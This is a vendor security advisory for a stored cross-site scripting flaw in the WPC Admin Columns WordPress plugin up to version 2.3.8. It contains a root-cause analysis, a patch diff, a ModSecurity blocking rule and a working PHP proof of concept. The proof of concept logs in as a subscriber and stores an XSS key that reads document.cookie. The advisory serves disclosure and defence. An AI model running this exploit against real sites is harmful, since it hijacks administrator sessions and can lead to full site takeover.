Published : November 25, 2026

CVE-2026-137123: WPC Admin Columns <= 2.3.8 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpcac_save_columns' AJAX Action PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.3.8
Patched Version 2.3.9
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137123: The WPC Admin Columns plugin for WordPress (versions up to 2.3.8) contains a stored cross-site scripting (XSS) vulnerability within the wpcac_save_columns AJAX action. This flaw permits authenticated users with subscriber-level access or higher to inject arbitrary web scripts into column configuration data. The injected scripts persist and execute when an administrator or other user views the affected page. The vulnerability has a CVSS score of 6.4 (Medium) and is classified under CWE-79. Atomic Edge research confirms that the root cause is insufficient sanitization of array keys and inadequate authorization checks in the save and render functions.

Root Cause: The vulnerability originates in the class-backend.php file, specifically within the sanitize_array and save_columns methods. The sanitize_array function (around line 3058) recursively processes input but fails to sanitize array keys. Attackers can supply crafted keys under wpcac_columns[…] (via the form_data parameter) that include malicious HTML attributes or script payloads. These keys are later rendered into HTML attributes without proper escaping when building the admin columns interface. Additionally, the save_columns AJAX handler lacked a capability check to ensure that only users with appropriate permissions (such as manage_options for shared configurations) could modify column settings. This allowed low-privileged users to store malicious configurations that would be displayed to higher-privileged users.

Exploitation: An attacker with subscriber-level access sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to wpcac_save_columns. The request includes a form_data parameter containing an array with a malicious key, for example: wpcac_columns[][enable]=yes. The payload is stored in the plugin’s settings (either user-specific or shared, depending on the Personalized setting). When an administrator or other user accesses the admin columns page, the unescaped key is output in an HTML attribute, causing the script to execute. Successful exploitation beyond self-XSS requires the Personalized setting to be ‘No’, which stores configurations in a shared option.

Patch Analysis: Version 2.3.9 introduces several fixes. First, the save_columns handler now calls can_manage_columns() before processing any request. This function checks if the user is logged in and, if the personalized setting is not ‘yes’, requires the manage_options capability; otherwise, it allows a filtered capability (default ‘read’). Second, the sanitize_array function now sanitizes array keys using sanitize_column_key, which strips characters outside [A-Za-z0-9_-.:] and skips empty keys. Third, the save_columns method includes a validation loop that ignores columns with invalid keys via is_valid_column_key. These changes prevent malicious keys from being stored and ensure that only authorized users can modify shared configurations.

Impact: If exploited, this vulnerability allows an authenticated attacker to inject persistent JavaScript into the WordPress admin dashboard. The script executes in the context of an administrator or other privileged user, enabling actions such as creating rogue admin accounts, installing malicious plugins, or exfiltrating sensitive data. This can lead to full site compromise. The vulnerability is limited to authenticated users (subscriber+), but given the prevalence of user registration on WordPress sites, it poses a significant risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpc-admin-columns/includes/class-backend.php
+++ b/wpc-admin-columns/includes/class-backend.php
@@ -720,6 +720,10 @@
             die( 'Permissions check failed!' );
         }

+        if ( ! self::can_manage_columns() ) {
+            die( 'Permissions check failed!' );
+        }
+
         $key        = 'wpcac_' . self::generate_key();
         $screen_key = sanitize_key( wp_unslash( $_POST['screen_key'] ?? '' ) );

@@ -733,6 +737,10 @@
             die( 'Permissions check failed!' );
         }

+        if ( ! self::can_manage_columns() ) {
+            die( 'Permissions check failed!' );
+        }
+
         $screen_key = sanitize_key( wp_unslash( $_POST['screen_key'] ?? '' ) );
         // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized per-field after wp_parse_str()
         $raw_form_data = isset( $_POST['form_data'] ) ? wp_unslash( $_POST['form_data'] ?? '' ) : '';
@@ -755,6 +763,10 @@
             die( 'Permissions check failed!' );
         }

+        if ( ! self::can_manage_columns() ) {
+            die( 'Permissions check failed!' );
+        }
+
         $screen_key = sanitize_key( wp_unslash( $_POST['screen_key'] ?? '' ) );

         if ( ! empty( $screen_key ) ) {
@@ -1767,6 +1779,11 @@

         if ( is_array( $saved_columns ) && ! empty( $saved_columns ) ) {
             foreach ( $saved_columns as $key => $column ) {
+                // Ignore columns with invalid keys (keys are printed into HTML attributes by core)
+                if ( ! self::is_valid_column_key( $key ) || ! is_array( $column ) ) {
+                    continue;
+                }
+
                 if ( isset( $column['enable'] ) && ( $column['enable'] === 'no' ) ) {
                     unset( $columns[ $key ] );
                 } else {
@@ -3058,15 +3075,50 @@
     }

     public static function sanitize_array( $arr ) {
+        $clean = [];
+
         foreach ( (array) $arr as $k => $v ) {
+            // Sanitize array keys too, keys can end up in HTML attributes (e.g. column ids/classes)
+            if ( is_string( $k ) ) {
+                $k = self::sanitize_column_key( $k );
+
+                if ( $k === '' ) {
+                    continue;
+                }
+            }
+
             if ( is_array( $v ) ) {
-                $arr[ $k ] = self::sanitize_array( $v );
+                $clean[ $k ] = self::sanitize_array( $v );
             } else {
-                $arr[ $k ] = sanitize_post_field( 'post_content', $v, 0, 'db' );
+                $clean[ $k ] = sanitize_post_field( 'post_content', $v, 0, 'db' );
             }
         }

-        return $arr;
+        return $clean;
+    }
+
+    public static function sanitize_column_key( $key ) {
+        return preg_replace( '/[^A-Za-z0-9_-.:]/', '', (string) $key );
+    }
+
+    public static function is_valid_column_key( $key ) {
+        return is_int( $key ) || ( is_string( $key ) && $key !== '' && self::sanitize_column_key( $key ) === $key );
+    }
+
+    /**
+     * Check whether the current user can manage the columns of the screen.
+     * The shared (non-personalized) columns affect all users, so they require manage_options.
+     */
+    public static function can_manage_columns() {
+        if ( ! is_user_logged_in() ) {
+            return false;
+        }
+
+        if ( self::get_setting( 'personalized', 'yes' ) !== 'yes' ) {
+            return current_user_can( 'manage_options' );
+        }
+
+        return current_user_can( apply_filters( 'wpcac_manage_columns_capability', 'read' ) );
     }

     public static function generate_key() {
--- a/wpc-admin-columns/wpc-admin-columns.php
+++ b/wpc-admin-columns/wpc-admin-columns.php
@@ -7,7 +7,7 @@
 Author URI: https://wpclever.net
 Text Domain: wpc-admin-columns
 Domain Path: /languages/
-Version: 2.3.8
+Version: 2.3.9
 Requires at least: 5.9
 Playground: true
 License: GPLv2 or later
@@ -16,7 +16,7 @@

 defined( 'ABSPATH' ) || exit;

-! defined( 'WPCAC_VERSION' ) && define( 'WPCAC_VERSION', '2.3.8' );
+! defined( 'WPCAC_VERSION' ) && define( 'WPCAC_VERSION', '2.3.9' );
 ! defined( 'WPCAC_LITE' ) && define( 'WPCAC_LITE', __FILE__ );
 ! defined( 'WPCAC_FILE' ) && define( 'WPCAC_FILE', __FILE__ );
 ! defined( 'WPCAC_URI' ) && define( 'WPCAC_URI', plugin_dir_url( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137123
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026137123,phase:2,deny,status:403,chain,msg:'CVE-2026-137123 via WPC Admin Columns AJAX',severity:'CRITICAL',tag:'CVE-2026-137123'"
  SecRule ARGS_POST:action "@streq wpcac_save_columns" "chain"
    SecRule ARGS_POST:form_data "@rx <[^>]*>" "t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137123 - WPC Admin Columns <= 2.3.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'wpcac_save_columns' AJAX Action

// Configure target URL
$target_url = 'http://example.com'; // CHANGE ME

// Configure credentials for a subscriber-level account
$username = 'subscriber';
$password = 'password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Craft and send the malicious AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious payload: an array key containing an XSS vector
$malicious_key = '<img src=x onerror=alert(document.cookie)>';

// Build POST data. The vulnerable parameter is form_data[wpcac_columns][malicious_key][enable]=yes
$post_data = [
    'action' => 'wpcac_save_columns',
    'screen_key' => 'edit-post', // Example screen key, adjust as needed
    'form_data' => [
        'wpcac_columns' => [
            $malicious_key => [
                'enable' => 'yes'
            ]
        ]
    ]
];

// Encode the POST data properly, including the nested array
$post_string = http_build_query($post_data);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

// Check for success (the response might be a JSON success message)
if (strpos($response, 'success') !== false) {
    echo "Exploit sent successfully. Check the admin columns page for payload execution.n";
} else {
    echo "Exploit may have failed. Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.